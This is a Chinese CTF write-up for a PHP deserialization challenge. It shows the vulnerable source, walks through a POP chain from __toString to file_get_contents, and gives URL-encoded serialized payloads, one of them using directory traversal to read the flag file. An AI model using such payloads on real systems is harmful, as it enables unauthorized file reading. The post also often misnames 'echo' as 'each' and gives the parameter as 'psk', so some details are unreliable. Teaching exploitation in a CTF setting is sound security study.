首页 > 编程语言 >php反序列化2023/10/28

php反序列化2023/10/28

时间:2023-10-28 10:11:06浏览次数:332  
标签:php 3Bs% 22% 28 3A% 3A3% file 序列化 3BN%

题目来源:[第五空间 2021]pklovecloud

题目代码如下:

<?php  
include 'flag.php';
class pkshow 
{  
    function echo_name()     
    {          
        return "Pk very safe^.^";      
    }  
} 

class acp 
{   
    protected $cinder;  
    public $neutron;
    public $nova;
    function __construct() 
    {      
        $this->cinder = new pkshow;
    }  
    function __toString()      
    {          
        if (isset($this->cinder))  
            return $this->cinder->echo_name();      
    }  
}  

class ace
{    
    public $filename;     
    public $openstack;
    public $docker; 
    function echo_name()      
    {   
        $this->openstack = unserialize($this->docker);
        $this->openstack->neutron = $heat;
        if($this->openstack->neutron === $this->openstack->nova)
        {
        $file = "./{$this->filename}";
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "keystone lost~"; 
            }    
        }
    }  
}  

if (isset($_GET['pks']))  
{
    $logData = unserialize($_GET['pks']);
    echo $logData; 
} 
else 
{ 
    highlight_file(__file__); 
}
?>

 这个题感觉挺有意思的,先看这个反序列化位点,没啥不一样的,但是这里有个echo $logData,可能有些人有点懵了,反序列化后$logData是一个对象,怎么能用each输出,先往下看,这个有大用。

总共有三个类,第一个类pkshow没有成员属性,没啥用,这个类可以直接忽略不看。

我们反着推,全文看下来,也只有file_get_contents()函数可以利用,他会把文件读取成字符串并输出,并且开头包含了flag.php,并且$file = "./{$this->filename}";会拼接成完整路径

所以我们就要想办法触发这个函数。

要想用这个函数就要想办法绕过这个if($this->openstack->neutron === $this->openstack->nova)限制,再往上就需要触发each_name()这个自定义函数,当然我们不可能主动调用

我们看到pskhow和acp类中都有调用这个函数,但是我们说了pkshow这个类我们没办法用,就只剩下acp这个类可用了

可以看到在__toSting()魔术方法中调用了each_name()这个方法,但是并不是直接调用,而是通过成员属性$cinder来调用,所以echo_name()方法就必须是属于$cinder这个成员属性

那么$cinder就必须得是一个对象,并且是实例化ace的对象,因为我们要调用的是类ace里面的方法

那么__toSting()魔术方法如何调用,他会在把对象当做字符串输出时调用,对象当做字符串不就是之前each $logData干的事吗,反序列化后$logData是个对象,each是用来输出一个字符或者字符串的,这不刚好调用了__toSting形成了完整的pop链吗,写出来就是

each $logData->acp::__toSting->ace::each_nama->if

由于$cinder是保护属性,所以我们使用构造函数实例化对象,并且序列化后要进行url编码,不然会受不可见字符影响而出错

我们将$docker赋值为空,那么反序列化也是空,那么给他赋值一个不存在的变量$heat还是空,空和空肯定相等就能绕过if

 

pks=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A8%3A%22flag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

 传入参数页面上什么也没有,F12看一下源码,发现给了提示,flag in /nssctfasdasdflag

 那就改变flag.php为nssctfasdasdflag

psk=O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A16%3A%22nssctfasdasdflag%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3A6%3A%22docker%22%3BN%3B%7Ds%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D

再次传入发现出现一个keystone lost~,这个说明file_get_contents($file)返回false,说明$file路径或者文件不存在,既然说了flag in /nssctfasdasdflag出题人也应该不会骗人,那我们试着穿越目录

变成../nssctfasdasdflag 

 

成功拿到flag

 


标签:php,3Bs%,22%,28,3A%,3A3%,file,序列化,3BN%
From: https://www.cnblogs.com/lcjingyi/p/17793394.html

相关文章

  • Leetcode 283. 移动零
    移动零题目链接283.移动零给定一个数组nums,编写一个函数将所有0移动到数组的末尾,同时保持非零元素的相对顺序。请注意,必须在不复制数组的情况下原地对数组进行操作。示例1:输入:nums=[0,1,0,3,12]输出:[1,3,12,0,0]示例2:输入:nums=[0]输出:[0]题目解释这道题目......
  • 10.28/例题2
    #include<bits/stdc++.h>usingnamespacestd;inta[6],n,sum=0,p,t;voidone(){ for(inti=0;i<5;i++){for(intj=0;j<5-i;j++){if(a[j]<a[j+1]){ t=a[j]; a[j]=a[j+1]; a[j+1]=t;}......
  • php对接海康卫视NVR监控设备全过程
    1、确定方式用监控设备里启用:使用ISUP协议,填写服务端的网关IP,端口(这里比较坑,默认是7660,实际是7661,导致设备一直没法注册成功。)服务器端:安装海康的Gateway网关2、服务端Linux系统里安装海康的Gateway网关(官网下载)./install.sh--port=81Checkingportscompleted.Port81will......
  • vscode+phpstudy配置php环境
       php文件路径可以写phpstudy下载好的php文件目录 按照上面的步骤配置之后发现还是出错此时需要按照步骤添加fiveserver的js文件,设置php路径,使得fiveserver能够运行php文件 然后直接右键点击openwithfivesever即可成功打开 当然也可以点击右上角的小三角......
  • 28. 找出字符串中第一个匹配项的下标
    1.题目介绍给你两个字符串haystack和needle,请你在haystack字符串中找出needle字符串的第一个匹配项的下标(下标从0开始)。如果needle不是haystack的一部分,则返回-1。示例1:输入:haystack="sadbutsad",needle="sad"输出:0解释:"sad"在下标0和6处匹配。......
  • php代码审计学习----八哥cms代码审计
    php代码审计学习----八哥cms代码审计源码https://github.com/Betsy0/CMSVulSource/tree/main/bagecms环境搭建打开php.ini全局搜索soap将extension前的;删掉创建一个名为bagecms的数据库createdatabasebagecms;输入网址/index.php?r=install完成安装然后再输入/inde......
  • 题解 P4285 [SHOI2008] 汉诺塔
    具体思路设\(f_{i,x}\)表示\(i\)个盘子从\(x\)柱子出发的步数。设\(g_{i,x}\)表示\(i\)个盘子从\(x\)柱子出发到哪个柱子。记\(y=g_{i-1,x}\),\(z=6-x-y\)。其中,\(y\)代表将前\(i-1\)个盘子从\(x\)柱子移到的柱子,\(z\)代表剩下的那个柱子。分类讨论。若......
  • php代码审计学习----骑士cms代码审计
    php代码审计学习----骑士cms代码审计源码下载https://github.com/Betsy0/CMSVulSource环境搭建删掉data里的install.lock然后把源码放在phpstudy的网站目录下访问http://xxx/74cms/install.php使用phpstorm调试使用seay进行辅助代码审计(主要phpstorm不知为什么总是无法......
  • #dp,二项式反演,容斥#CF285E Positions in Permutations
    题目问有多少个长度为\(n\)的排列\(P\)满足\(|P_i-i|=1\)的\(i\)的个数恰好为\(k\)个分析设\(dp_{i,j,k}\)表示前\(i\)个数钦定\(j\)个数满足上述条件且现在\(i\)和\(i+1\)因此被占用的方案数。那么第\(i\)个满足上述条件无非就是放入\(i-1\)或者\(......
  • C#复杂XML反序列化为实体对象两种方式
    目录前言需要操作的Xml数据一、通过是手写的方式去定义Xml的实体对象模型类二、通过VisualStudio自带的生成Xml实体对象模型类3、以下是使用VS自动生成的Xml类验证两个Xml类是否能够反序列化成功C#XML基础入门(XML文件内容增删改查清)C#XmlHelper帮助类操作Xml文档的通用方法汇总.......